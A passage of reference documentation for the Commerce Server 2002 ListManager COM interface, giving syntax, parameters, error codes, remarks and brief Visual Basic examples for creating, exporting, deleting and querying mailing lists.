[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method has been rewritten for Commerce Server 2002 Service Pack 1 to increase accuracy. This change may result in decreased performance due to the rewriting of the method.

For a list of possible values for the lflags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromSql("LegalTequillaBuyers", _
 "Tequilla buyers at least 21", 20, 0, "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'", "SELECT * FROM dbname.dbo.Tequilla " & _
 "WHERE Age >= 21", 10, False)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::Delete Method [C++]

ListManager.Delete Method [Visual Basic]

Use this method to delete a list.

Definition

[C++]
HRESULT IListManager::Delete(
 VARIANT listID
);
[Visual Basic]
Sub Delete(
 listID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list to be deleted.
listID [Visual Basic]
A Variant that specifies the ID or name of the list to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

To be deleted, a list cannot be busy with any operation.

The list data is also deleted.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::ExportToFile Method [C++]

ListManager.ExportToFile Method [Visual Basic]

Use this method to export a Mailing list to a text file.

Definition

[C++]
HRESULT IListManager::ExportToFile(
 VARIANT listID,
 BSTR fileName,
 BOOL bUnicode,
 BOOL bOverwrite,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub ExportToFile(
 listID As Variant,
 fileName As String,
 bUnicode As Boolean,
 bOverwrite As Boolean,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list to be exported.
listID [Visual Basic]
A Variant that contains the ID or name of the list to be exported.
fileName [C++]
[in] A BSTR that contains the name of the file.
fileName [Visual Basic]
A String that contains the name of the file.
bUnicode [C++]
[in] A BOOL that specifies the character format of the export file. A value of True indicates that Unicode characters should be used. A value of False indicates that the current system codepage character set should be used.
bUnicode [Visual Basic]
A Boolean that specifies the character format of the export file. A value of True indicates that Unicode characters should be used. A value of False indicates that the current system codepage character set should be used.
bOverwrite [C++]
[in] A BOOL that specifies whether to overwrite the data in the export file, if it exists. A value of True indicates that the data should be overwritten. A value of False causes the method to fail if the file exists.
bOverwrite [Visual Basic]
A Boolean that specifies whether to overwrite the data in the export file, if it exists. A value of True indicates that the data should be overwritten. A value of False causes the method to fail if the file exists.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_BAD_FILE_PATH | [C++] 0x8C40000A [Visual Basic] &H8C40000A | The specified file path is not valid.
E_LM_FILE_ACCESS_DENIED | [C++] 0x8C400009 [Visual Basic] &H8C400009 | The ListManager service does not have permission to open the specified file.Check the permissions for the ListManager service account against the permissions for the file.
E_LM_FILE_ALREADY_EXISTS | [C++] 0x8C400010 [Visual Basic] &H8C400010 | The specified file cannot be created because it already exists.
E_LM_FILESHARE_NOT_FOUND | [C++] 0x8C400016 [Visual Basic] &H8C400016 | The network share does not exist and a full path was not specified for the file.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the list is a Mailable list but not a Mailing list, a temporary Mailing list is created and then exported.

If an absolute file path and name are not specified, ListManager exports the file relative to a root folder named CommerceLists on the local computer running the ListManager resource. If the folder does not exist, an error is returned.

ListManager exports the file in the following format. The is Message Format field is an integer, all other fields are strings and enclosed in double quotation marks.

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.ExportToFile "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Tequila.csv", False, True, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::ExportToSql Method [C++]

ListManager.ExportToSql Method [Visual Basic]

Use this method to export a list to the specified table in a Microsoft SQL Server database. This operation can be performed synchronously or asynchronously.

Definition

[C++]
HRESULT IListManager::ExportToSql(
 VARIANT listID,
 BSTR connStr,
 BSTR resTable,
 BOOL bOverwrite,
 long lOptions,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub ExportToSql(
 listID As Variant,
 connStr As String,
 resTable As String,
 bOverwrite As Boolean,
 lOptions As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list to be exported.
listID [Visual Basic]
A Variant that contains the ID or name of the list to be exported.
connStr [C++]
[in] A BSTR that contains the connection string for the SQL Server database.
connStr [Visual Basic]
A String that contains the connection string for the SQL Server database.
resTable [C++]
[in] A BSTR that contains the name of the table into which the list will be exported.
resTable [Visual Basic]
A String that contains the name of the table into which the list will be exported.
bOverwrite [C++]
[in] A BOOL that specifies whether to overwrite the data if the table already exists. A value of True indicates that the data should be overwritten. A value of False produces an error if the tables already exist.
bOverwrite [Visual Basic]
A Boolean that specifies whether to overwrite the data in the table if the table already exists. A value of True indicates that the data should be overwritten. A value of False produces an error if the tables pre-exists.
lOptions [C++]
[in] A long that specifies the export options for use by the Direct Mail resource. Other applications should generally pass the value zero (0). A value of one (1) causes special action to be taken. See the Remarks section below.
lOptions [Visual Basic]
A Long that specifies the export options, for use by the Direct Mail resource. Other applications should generally pass the value zero (0). A value of one (1) causes special action to be taken. See the Remarks section below.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_TABLE_ALREADY_EXISTS | [C++] 0x8C40000F [Visual Basic] &H8C40000F | The specified table cannot be created because it already exists.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method has been rewritten for Commerce Server 2002 Service Pack 1 to increase accuracy. This change may result in decreased performance due to the rewriting of the method.

An existing table is expected to have the same format as the exported list. If the table does not exist, it will be created.

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

The lOptions parameter specifies whether the exported list is intended for use with Direct Mailer, controlling how it is processed during the export. The following table shows the legal values of the IOptions parameter.

lOptions value | Description
0 | Do not do any special processing for Direct Mailer.
1 | Export the list for use with Direct Mailer. The list must be a Mailable list or an error is returned. If the list is not a mailing list, it is converted to one.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.ExportToSql "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'", _
 "Tequila", False, 0, False

See Also

[C++] ListManager Object

[C++] IListManager::ExtractMailingList

[Visual Basic] ListManager Object

[Visual Basic] ListManager.ExtractMailingList


IListManager::ExtractMailingList Method [C++]

ListManager.ExtractMailingList Method [Visual Basic]

Use this method to create a new mailing list from a generic list.

Definition

[C++]
HRESULT IListManager::ExtractMailingList(
  VARIANT srcList,
  BSTR reslistName,
  BSTR reslistDesc,
  long userFlags,
  BOOL bAsync,
  VARIANT* pvarOpID,
  VARIANT* pvarID
);
[Visual Basic]
Function ExtractMailingList(
  srcList As Variant,
  reslistName As String,
  reslistDesc As String,
  userFlags As Long,
  bAsync As Boolean,
  Optional pvarOpID As Variant
) As Variant

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the generic source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the generic source list.
reslistName [C++]
[in] A BSTR that contains the new mailing list name.
reslistName [Visual Basic]
A String that contains the new mailing list name.
reslistDesc [C++]
[in] A BSTR that contains the description of the new mailing list.
reslistDesc [Visual Basic]
A String that contains the description of the new mailing list.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
bAsync [C++]
[in] A BOOL that specifies whether the export operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the export operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The source list must be a Mailable list (contains an rcp_email column). Any duplicate e-mail addresses are removed in the result list.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID & pvarOpId are Variants
vListID = oListManager.ExtractMailingList("{454799A2-312B-4F5F-90A0-" & _
 "F514FBA0EC5A}", "TequilaBuyers1", "Tequilla buyers in January", 0, _
 True, pvarOpID)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListFlags Method [C++]

ListManager.GetListFlags Method [Visual Basic]

Use this method to retrieve the flags attribute for a list.

Definition

[C++]
HRESULT IListManager::GetListFlags(
 VARIANT listID,
 long* plFlags
);
[Visual Basic]
Function GetListFlags(
 listID As Variant
) As Long

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID of the ID or name of the list.
plFlags [C++]
[out, retval] A pointer to a long used to return the flags attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the flags attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table lists the possible flag parameter values used to determine the type of list created. Values may be OR'ed together to specify more than one flag.

Type | Value | Description
DEFAULT | 0x0 | A Mailing list
HIDDEN | 0x1 | The list should not be exposed in the user interface
DYNAMIC | 0x2 | A dynamic list
USER | 0x4 | A User list (contains an rcp_guid column)
GENERIC | 0x8 | A Generic list
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListId Method [C++]

ListManager.GetListId Method [Visual Basic]

Use this method to retrieve the ID of a list given the list name.

Definition

[C++]
HRESULT IListManager::GetListId(
  BSTR listName,
  VARIANT* pvarID
);
[Visual Basic]
Function GetListId(
  listName As String
) As Variant

Parameters

listName [C++]
[in] A BSTR that contains the list name.
listName [Visual Basic]
A String that contains the list name.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID (a GUID) of the list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the ID (a GUID) of the list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListName Method [C++]

ListManager.GetListName Method [Visual Basic]

Use this method to retrieve the name of a list given the list ID.

Definition

[C++]
HRESULT IListManager::GetListName(
  VARIANT listID,
  BSTR* plistName
);
[Visual Basic]
Function GetListName(
  listID As Variant
) As String

Parameters

listID [C++]
[in] A VARIANT that contains the list ID.
listID [Visual Basic]
A Variant that contains the list ID.
plistName [C++]
[out, retval] A pointer to a BSTR used to return the name of the list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the name of the list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListProperty Method [C++]

ListManager.GetListProperty Method [Visual Basic]

Use this method to retrieve a property of a list.

Definition

[C++]
HRESULT IListManager::GetListProperty(
  VARIANT listID,
  BSTR listPropertyName,
  VARIANT* pvarListProp
);
[Visual Basic]
Function GetListProperty(
  listID As Variant,
  listPropertyName As String
) As Variant

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
listPropertyName [C++]
[in] A BSTR that contains the property name (column of the lm_master table).
listPropertyName [Visual Basic]
A String that contains the property name (column of the lm_master table).
pvarListProp [C++]
[out, retval] A pointer to a VARIANT used to return the value of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the value of the property.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For information about the available list properties, see IListManager::GetLists.

[Visual Basic] For information about the available list properties, see ListManager.GetLists.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vSource is a Variant
vSource = _
 oListManager.GetListProperty("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_source")

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetLists Method [C++]

ListManager.GetLists Method [Visual Basic]

Use this method to enumerate all lists known to the ListManager object.

Definition

[C++]
HRESULT IListManager::GetLists(
 IDispatch** ppRecSet
);
[Visual Basic]
Function GetLists() As Object

Parameters

ppRecSet [C++]
[out, retval] The address of a pointer to the IDispatch interface of an ADO Recordset object used to return the details of the lists known to this instance of the ListManager object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the details of the lists known to this instance of the ListManager object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns an instance of a read-only ADO Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | datetime | Date/time the list record was created.
list_creation_type | smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | long | The error threshold for the list.
list_flags | int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be Null if the list is a new list created by the CreateEmpty method.
list_size | int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or filename used to create the list.
list_status | int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | int | Application specific. Not used by the ListManager object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListUserFlags Method [C++]

ListManager.GetListUserFlags Method [Visual Basic]

Use this method to retrieve the UserFlags attribute for a list.

Definition

[C++]
HRESULT IListManager::GetListUserFlags(
 VARIANT listID,
 long* plUserFlags
);
[Visual Basic]
Function GetListUserFlags(
 listID As Variant
) As long

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID of the ID or name of the list.
plUserFlags [C++]
[out, retval] A pointer to a long used to return the UserFlags attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the UserFlags attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The UserFlags attributes are for use by applications external to the List Manager. The List Manager merely stores the flags that were passed in at the time a list was created and does not interpret the UserFlags attributes value in any way.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetOperationInfo Method [C++]

ListManager.GetOperationInfo Method [Visual Basic]

Use this method to retrieve a Recordset object containing columns describing the specified list operation.

Definition

[C++]
HRESULT IListManager::GetOperationInfo(
  VARIANT varOpID,
  IDispatch** ppRecSet
);
[Visual Basic]
Function GetOperationInfo(
  varOpID As Variant
) As Object

Parameters

varOpID [C++]
[in] A VARIANT that contains the Operation ID.
varOpID [Visual Basic]
A Variant that contains the Operation ID.
ppRecSet [C++]
[out, retval] The address of a pointer to an IDispatch interface of a Recordset object used to return the operation information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the operation information.
